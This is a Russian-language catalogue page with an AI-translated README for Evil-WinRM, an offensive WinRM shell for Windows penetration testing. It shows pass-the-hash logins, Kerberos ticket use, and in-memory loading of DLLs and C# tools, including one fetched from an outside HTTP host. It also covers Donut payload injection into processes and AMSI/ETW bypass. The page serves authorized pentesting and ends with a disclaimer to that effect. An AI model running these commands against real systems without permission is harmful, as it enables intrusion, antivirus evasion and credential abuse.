Evil-WinRM

Exploitation v3.9 · 07.12.2025 активный

Продвинутый WinRM shell для пентеста Windows-систем. Работает через протокол Windows Remote Management (порт 5985/5986). Возможности: • Upload/download файлов • Загрузка и выполнение PowerShell скриптов в памяти • Загрузка DLL (.NET assemblies) без записи на диск • Pass-the-Hash аутентификация • Поддержка SSL, Kerberos evil-winrm -i 10.10.10.1 -u Administrator -p Password123 evil-winrm -i 10.10.10.1 -u Admin -H <NTLM_hash>

v3.9
07.12.2025 current
Добавлен 10.06.2026 · Обновлён 07.07.2026 · Exploitation
Установка
# gem (Ruby)
gem install evil-winrm

# Kali Linux
apt install evil-winrm

# Из исходников
git clone https://github.com/Hackplayers/evil-winrm
cd evil-winrm && gem install bundler
bundle install && ruby evil-winrm.rb
переведено ИИ

Evil-WinRM ![Версия-shield] Ruby2.3-shield ![Версия-Gem] ![Лицензия-shield] Docker-shield

Абсолютный WinRM shell для хакинга/пентеста

Баннер

Описание и назначение

Этот shell — абсолютный WinRM shell для хакинга/пентеста.

WinRM (Windows Remote Management) — это реализация Microsoft протокола WS-Management. Стандартный SOAP-протокол, который позволяет аппаратуре и операционным системам от разных поставщиков взаимодействовать друг с другом. Microsoft включил его в свои операционные системы, чтобы упростить жизнь системным администраторам.

Эту программу можно использовать на любых серверах Microsoft Windows с включённой этой функцией (обычно на порту 5985), конечно, только если у вас есть учётные данные и разрешения на её использование. Таким образом, можно сказать, что она может использоваться на этапе пост-эксплуатации при хакинге/пентесте. Назначение этой программы — предоставить удобные и простые в использовании функции для хакинга. Её также могут использовать системные администраторы в легитимных целях, но большинство её функций ориентированы на задачи хакинга/пентеста.

Она основана в основном на библиотеке WinRM для Ruby, которая изменила свой принцип работы начиная с версии 2.0. Теперь вместо использования протокола WinRM она использует PSRP (PowerShell Remoting Protocol) для инициализации пулов runspace, а также для создания и обработки конвейеров (pipelines).

Возможности

  • Совместимость с клиентскими системами Linux и Windows
  • Загрузка PowerShell-скриптов в память
  • Загрузка DLL-файлов в память с обходом некоторых антивирусов
  • Загрузка сборок C# (C Sharp) в память с обходом некоторых антивирусов
  • Загрузка x64-полезных нагрузок, сгенерированных с помощью замечательной техники donut
  • Динамический обход AMSI для предотвращения обнаружения сигнатурами антивирусов
  • Поддержка Pass-the-hash
  • Поддержка аутентификации Kerberos, включая также файлы ccache и kirbi
  • Поддержка SSL и сертификатов
  • Загрузка и скачивание файлов с отображением прогресс-бара
  • Просмотр удалённых служб машины без привилегий
  • История команд
  • Автодополнение команд WinRM
  • Автодополнение локальных файлов/каталогов
  • Автодополнение удалённого пути (файлы/каталоги) (может быть опционально отключено)
  • Цветовая индикация в приглашении и выводимых сообщениях (может быть опционально отключена)
  • Опциональная функция логирования
  • Поддержка Docker (готовые образы доступны на Dockerhub)
  • Перехват Trap для предотвращения случайного выхода из shell по Ctrl+C
  • Настраиваемый пользовательский агент (user-agent), использующий стандартный легитимный Windows
  • Обход ETW (Event Tracing for Windows)

Помощь

Использование: evil-winrm -i IP -u ПОЛЬЗОВАТЕЛЬ [-s ПУТЬ_К_СКРИПТАМ] [-e ПУТЬ_К_EXE] [-P ПОРТ] [-a USERAGENT] [-p ПАРОЛЬ] [-H ХЕШ] [-U URL] [-S] [-c ПУТЬ_К_ПУБЛИЧНОМУ_КЛЮЧУ ] [-k ПУТЬ_К_ЧАСТНОМУ_КЛЮЧУ ] [-r РЕАЛМ] [-k ФАЙЛ_БИЛЕТА] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Включить ssl
    -c, --pub-key ПУТЬ_К_ПУБЛИЧНОМУ_КЛЮЧУ    Локальный путь к сертификату с открытым ключом
    -k, --priv-key ПУТЬ_К_ЧАСТНОМУ_КЛЮЧУ  Локальный путь к сертификату с закрытым ключом
    -r, --realm ДОМЕН               Аутентификация Kerberos, также должна быть установлена в файле /etc/krb5.conf в этом формате -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -K, --ccache ФАЙЛ_БИЛЕТА        Путь к файлу билета Kerberos (формат ccache или kirbi, определяется автоматически)
    -s, --scripts ПУТЬ_К_PS_СКРИПТАМ    Локальный путь к скриптам PowerShell
        --spn SPN_PREFIX             Префикс SPN для аутентификации Kerberos (по умолчанию HTTP)
    -e, --executables ПУТЬ_К_EXE      Локальный путь к исполняемым файлам C#
    -i, --ip IP                      IP или имя хоста удалённого компьютера. FQDN для аутентификации Kerberos (обязательный)
    -U, --url URL                    URL-конечная точка удалённого сервера (по умолчанию /wsman)
    -u, --user ПОЛЬЗОВАТЕЛЬ                  Имя пользователя (обязательно, если не используется kerberos)
    -p, --password ПАРОЛЬ              Пароль
    -H, --hash ХЕШ                  NTHash
    -P, --port ПОРТ                  Порт удалённого хоста (по умолчанию 5985)
    -a, --user-agent                 Указать user-agent подключения (по умолчанию Microsoft WinRM Client)
    -V, --version                    Показать версию
    -n, --no-colors                  Отключить цвета
    -N, --no-rpath-completion        Отключить автодополнение удалённого пути
    -l, --log                        Логировать сессию WinRM
    -h, --help                       Показать это сообщение справки

Требования

Требуется Ruby 2.3 или выше. Также необходимы некоторые ruby gems: winrm >=2.3.7, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2. В зависимости от метода установки (доступно 4) их установка может потребоваться выполнить вручную.

Ещё одно важное требование, используемое только для аутентификации Kerberos — установка пакета Kerberos для сетевой аутентификации. Для некоторых дистрибутивов Linux, основанных на Debian (Kali, Parrot и т.д.), он называется krb5-user. Для BlackArch он называется krb5, и, вероятно, он может называться иначе в других дистрибутивах Linux.

Функция автодополнения удалённого пути будет работать только в том случае, если ваша ruby была скомпилирована с флагом --with-readline-dir. Он включён по умолчанию в ruby, включённом в некоторые дистрибутивы Linux, но не во всех. Дополнительную информацию смотрите в разделе ниже.

Установка и быстрый старт (4 метода)

Метод 1. Установка напрямую как ruby gem (зависимости будут установлены автоматически в вашей системе)

  • Шаг 1. Установите его (зависимости установятся автоматически): gem install evil-winrm
  • Шаг 2. Готово. Просто запустите его!
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Метод 2. Клонирование с git и ручная установка зависимостей в вашей системе

  • Шаг 1. Установите зависимости вручную: sudo gem install winrm winrm-fs stringio logger fileutils
  • Шаг 2. Клонируйте репозиторий: git clone https://github.com/Hackplayers/evil-winrm.git
  • Шаг 3. Готово. Просто запустите его!
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Метод 3. Использование bundler (зависимости не будут установлены в вашей системе, только для использования evil-winrm)

  • Шаг 1. Установите bundler: gem install bundler
  • Шаг 2. Клонируйте репозиторий: git clone https://github.com/Hackplayers/evil-winrm.git
  • Шаг 3. Установите зависимости с помощью bundler: cd evil-winrm && bundle install --path vendor/bundle
  • Шаг 4. Запустите его с помощью bundler:
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Метод 4. Использование Docker

  • Шаг 1. Запустите контейнер docker на основе уже собранных образов:
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

Документация

Пароль в открытом виде

Если вы не хотите вводить пароль в открытом виде, вы можете опционально не устанавливать аргумент -p, и пароль будет запрошен скрытно.

Ipv6

Для использования IPv6 адрес должен быть добавлен в файл /etc/hosts. Просто укажите уже установленное имя хоста вместо IP-адреса после аргумента -i.

Основные команды

  • upload: локальные файлы могут быть дополнены автоматически с помощью клавиши Tab.
  • использование: upload local_filename или upload local_filename destination_filename
  • download:
  • использование: download remote_filename или download remote_filename destination_filename

Примечания о путях (загрузка/скачивание): Относительные пути не допускаются при использовании download/upload. Используйте имена файлов в текущей директории или абсолютный путь. Если вы используете Evil-WinRM в Docker-окружении, имейте в виду, что все локальные пути должны находиться в /data, и убедитесь, что вы смонтировали его как том, чтобы иметь возможность получать доступ к скачанным файлам или загружать файлы с вашей локальной операционной системы.

  • services: выводит список всех служб, показывая, есть ли у вашей учётной записи права на каждую из них. Для использования этой функции не нужны права администратора.
  • menu: загружает функции Invoke-Binary, Dll-Loader и Donut-Loader, которые мы опишем ниже. При загрузке ps1-файла все его функции будут отображены.
  • clear или cls: очищает экран терминала. Вы также можете использовать сочетание клавиш Ctrl+L для очистки экрана.
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \

 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Загрузка powershell-скриптов

  • Чтобы загрузить ps1-файл, достаточно ввести его имя (допускается автоматическое дополнение с помощью Tab). Скрипты должны находиться в пути, указанном в аргументе -s. Введите menu снова, чтобы увидеть загруженные функции. Очень большие файлы могут загружаться долго.
*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \

 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Add-DomainAltSecurityIdentity
[+] Add-DomainGroupMember
[+] Add-DomainObjectAcl
[+] Add-RemoteConnection
[+] Add-Win32Type
[+] Convert-ADName
[+] Convert-DNSRecord
[+] ConvertFrom-LDAPLogonHours
[+] ConvertFrom-SID
[+] ConvertFrom-UACValue
[+] Convert-LDAPProperty
[+] Convert-LogonHours
[+] ConvertTo-SID
[+] Dll-Loader
[+] Donut-Loader
[+] Export-PowerViewCSV
[+] field
[+] Find-DomainLocalGroupMember

Расширенные команды

  • Invoke-Binary: позволяет выполнять .Net сборки в памяти. Имя может быть дополнено автоматически с помощью клавиши Tab. Аргументы для exe-файла можно передавать через запятую. Пример: Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'. Исполняемые файлы должны находиться в пути, указанном в аргументе -e.
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___

  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: позволяет загружать dll-библиотеки в память, это эквивалентно: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

dll-файл может быть размещён через smb, http или локально. После загрузки введите menu, после чего станет доступным автоматическое дополнение всех функций.

*Evil-WinRM* PS C:\> Dll-Loader
.SYNOPSIS
    dll loader.
    PowerShell Function: Dll-Loader
    Author: Hector de Armas (3v4Si0N)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    .
.EXAMPLE
    Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
    Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
    Dll-Loader -http -path http://example.com/myDll.dll

    Description
    -----------
    Function that loads an arbitrary dll

*Evil-WinRM* PS C:\> Dll-Loader -http http://10.10.10.10/SharpSploit.dll
[+] Reading dll by HTTP
[+] Loading dll...
*Evil-WinRM* PS C:\Users\test\Documents> menu

 [... Snip ...]

*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()


Pid          : 0
Ppid         : 0
Name         : Idle
Path         :
SessionID    : 0
Owner        :
Architecture : x64

  • Donut-Loader: позволяет внедрять x64-полезные нагрузки, сгенерированные с помощью замечательной техники donut. Нет необходимости кодировать payload.bin — просто сгенерируйте и внедряйте!
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Вы можете использовать этот donut-maker для генерации payload.bin, если не используете Windows. Этот скрипт использует python-модуль, написанный Marcello Salvati (byt3bl33d3r). Его можно установить с помощью pip: pip3 install donut-shellcode

python3 donut-maker.py -i Covenant.exe

   ___  _____
 .'/,-Y"     "~-.
 l.Y             ^.
 /\               _\_      Donuts!
i            ___/"   "\

|          /"   "\   o !
l         ]     o !__./
 \ _  _    \.___./    "~\
  X \/ \            ___./
 ( \ ___.   _..--~~"   ~`-.
  ` Z,--   /               \
    \__.  (   /       ______)
      \   l  /-----~~" /
       Y   \          /

       |    "x______.^
       |           \
       j            Y



[+] Donut generated successfully: payload.bin
  • Bypass-4MSI: патчит защиту AMSI.
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • Сначала необходимо синхронизировать дату с контроллером домена: rdate -n <dc_ip>

  • Для генерации билета существует множество способов:

  • С использованием ticketer.py из impacket

  • С использованием Rubeus или Mimikatz для получения билетов kirbi (поддерживается автоматическое преобразование в формат ccache)

  • Добавление файла билета. Существует 3 способа:

export KRB5CCNAME=/foo/var/ticket.ccache

cp ticket.ccache /tmp/krb5cc_0

Используйте параметр -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache или evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

При использовании -K инструмент автоматически: - Определяет формат билета (ccache или kirbi) - Конвертирует билеты kirbi в формат ccache при необходимости (требуется ticket_converter.py или impacket-ticketConverter) - Проверяет, что файл существует и доступен для чтения - Устанавливает переменную среды KRB5CCNAME - Преобразует IP-адреса в FQDN для лучшей совместимости с Kerberos

  • Добавление realm в /etc/krb5.conf (для Linux). Важно использовать следующий формат:

CONTOSO.COM = { kdc = fooserver.contoso.com }

  • Проверка билетов Kerberos с помощью klist
  • Для удаления билета используйте: kdestroy
  • Для получения дополнительной информации о Kerberos ознакомьтесь с этим шпаргалкой

Завершение удаленного пути

Эта функция может быть недоступна в зависимости от используемого вами интерпретатора Ruby. Он должен быть скомпилирован с поддержкой readline. В противном случае эта функция работать не будет (будет показано предупреждение).

Способ 1 (компиляция необходимого расширения)

Используя этот способ, вы скомпилируете Ruby с необходимой функцией readln, но для использования только библиотеки без изменения версии Ruby по умолчанию в вашей системе. По этой причине это самый рекомендуемый способ.

Допустим, что в вашей системе на Debian установлена Ruby 2.7.3:

# Установка необходимого пакета
apt install libreadline-dev

# Проверка вашей версии Ruby
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Скачивание исходного кода Ruby (в данном случае 2.7.3):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Распаковка исходного кода
tar -xf ruby-2.7.3.tar.gz

# Компиляция расширения readline:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Применение патча к текущему расширению readline Ruby:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

Способ 2 (установка Ruby для использования только с evil-winrm с помощью rbenv)

Допустим, вы хотите установить Ruby 2.7.1 на Linux на базе Debian и используете zsh. Этот скрипт автоматизирует процесс. Вам нужно запустить его из того же каталога, где находится evil-winrm.rb и Gemfile (например, из каталога, созданного evil-winrm после выполнения git clone):

#!/usr/bin/env zsh

# Удаление возможных текущих установленных версий
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q

# Установка rbenv
sudo apt install rbenv

# Настройка rbenv в конфигурационном файле zshrc
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc

# Установка Ruby с поддержкой readline
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1

# Создание файла '.ruby-version' для установки правильной версии Ruby
rbenv local 2.7.1

# Установка локальных gems
gem install bundler
bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
    #!/usr/bin/env sh
    \"${current_evwr}\" \"\$@\"
EOF"

sudo chmod +x /usr/bin/evil-winrm

После этого вы сможете безопасно запускать evil-winrm, используя новую установленную версию Ruby с необходимой поддержкой readln, из любого расположения.

Способ 3 (компиляция всей Ruby)

Если вы хотите скомпилировать её самостоятельно, вы можете следовать этим шагам. Допустим, вы хотите установить Ruby 2.7.3:

wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

В зависимости от вашей системы она будет установлена в /opt/rubies/ruby-2.7.3 или, возможно, в ~/.rubies/ruby-2.7.3.

Теперь осталось установить зависимости evil-winrm для этой новой версии Ruby. Самый простой способ — запустить команду /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. Используемая команда gem должна принадлежать новой установке Ruby.

После этого вы можете безопасно запустить новую установленную версию Ruby для использования с evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

Рекомендуется использовать эту новую установленную версию Ruby только для запуска evil-winrm. Если вы установите её как Ruby по умолчанию для вашей системы, имейте в виду, что для неё не установлены gems-зависимости. Некоторое программное обеспечение на базе Ruby, такое как Metasploit или другие, может не запускаться из-за проблем с зависимостями.

Логирование

Эта функция будет создавать файлы в вашем каталоге $HOME, сохраняя команды и результаты выполнения сессий WinRM.

История команд

Evil-WinRM поддерживает постоянную историю команд для каждой комбинации хоста и пользователя. История хранится в каталоге ~/.evil-winrm/history/, а файлы именуются в формате {host}_{user}.hist.

Когда вы подключаетесь к машине, к которой вы обращались ранее, вы можете использовать клавиши со стрелками (Вверх/Вниз) для навигации по предыдущим командам. История автоматически сохраняется после каждого выполнения команды и загружается при повторном подключении к тому же хосту с тем же пользователем.

Известные проблемы. Ошибки OpenSSL

Иногда вы можете столкнуться с ошибкой следующего вида:

Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

Эта ошибка возникает потому, что OpenSSL версии 3.0 удалил некоторые устаревшие функции, такие как MD4, которые необходимы для работы этого инструмента. Существуют различные обходные пути для решения этой проблемы:

  • Обновите вашу систему до последней версии. Вероятно, эта проблема была автоматически исправлена в последних версиях Ruby, которые используют более новые версии OpenSSL.
  • Скомпилируйте собственную Ruby, используя старую OpenSSL 1.x вместо OpenSSL 3.0, или скомпилируйте её, используя OpenSSL > 3.0, чтобы избежать проблемной версии 3.0.
  • Самый простой способ. Отредактируйте ваш конфигурационный файл /etc/ssl/openssl.cnf и убедитесь, что конфигурация выглядит следующим образом:
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
  • Как альтернатива предыдущему обходному пути, если ваша система использует LibreSSL вместо OpenSSL или если вы просто не хотите изменять системный конфигурационный файл. Создайте простой файл, содержащий вышеуказанное содержимое. Можно использовать любое имя, например evil-tls.conf. Затем экспортируйте переменную окружения, чтобы заставить систему использовать его: export OPENSSL_CONF="/path/to/evil-tls.conf". После этого запустите инструмент, ошибка исчезнет.

Список изменений:

Список изменений и изменения проекта можно проверить здесь: CHANGELOG.md

Благодарности:

Состав:

Благодарность:

  • Vis0r за его личную поддержку.
  • Alamot за его оригинальный код.
  • 3v4Si0N за его замечательный загрузчик dll.
  • WinRb Все участники библиотеки ruby.
  • TheWover за его замечательный инструмент donut.
  • byt3bl33d3r за его библиотеку на Python для создания полезных нагрузок donut.
  • Sh11td0wn за вдохновение для новых функций.
  • Borch за его помощь в добавлении функции логирования.
  • Hackplayers за предоставление укрытия на своем github для этого программного обеспечения.

Отказ от ответственности и Лицензия

Этот скрипт лицензирован в соответствии с LGPLv3+. Прямая ссылка на Лицензию.

Evil-WinRM должен использоваться только для авторизованного тестирования на проникновение и/или в некоммерческих образовательных целях. Любое неправомерное использование этого программного обеспечения не является ответственностью автора или какого-либо другого участника. Используйте его на своих серверах и/или с разрешения владельца сервера.

Комментарии
Войдите, чтобы оставить комментарий